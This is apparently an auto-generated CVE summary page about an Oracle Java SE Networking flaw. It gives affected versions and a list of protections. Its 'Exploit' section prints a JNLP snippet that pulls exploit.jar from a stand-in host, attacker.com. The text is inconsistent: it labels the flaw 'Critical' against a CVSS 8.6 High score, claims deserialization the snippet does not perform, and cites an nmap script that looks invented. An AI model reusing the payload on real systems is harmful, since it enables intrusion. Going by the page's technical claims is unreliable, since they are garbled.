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How the CVE Works:
CVE-2025-50059 is a critical vulnerability in Oracle Java SE, GraalVM for JDK, and GraalVM Enterprise Edition, affecting multiple versions. The flaw resides in the Networking component, allowing unauthenticated attackers to exploit it via multiple network protocols. Successful exploitation leads to unauthorized access to sensitive data due to improper sandbox restrictions in Java Web Start or applet deployments. The CVSS 3.1 score of 8.6 (High) reflects its wide attack surface and potential for significant data breaches.
DailyCVE Form:
Platform: Oracle Java SE
Version: 8u451-perf, 11.0.27, 17.0.15, 21.0.7, 24.0.1
Vulnerability: Networking flaw
Severity: Critical
Date: 08/04/2025
Prediction: Patch by 09/2025
What Undercode Say:
Analytics:
nmap --script java-vuln-cve-2025-50059 -p <target> jhat -J-Xmx1024m <heap_dump> (for analysis)
Exploit:
// Malicious JNLP triggering insecure deserialization <jnlp codebase="http://attacker.com"> <resources><jar href="exploit.jar"/></resources> </jnlp>
Protection from this CVE:
- Disable Java Web Start/applets in untrusted environments.
- Apply Oracle’s upcoming patches.
- Enforce network segmentation for Java services.
Impact:
- Full sandbox bypass.
- Critical data exfiltration.
- Chainable with other exploits.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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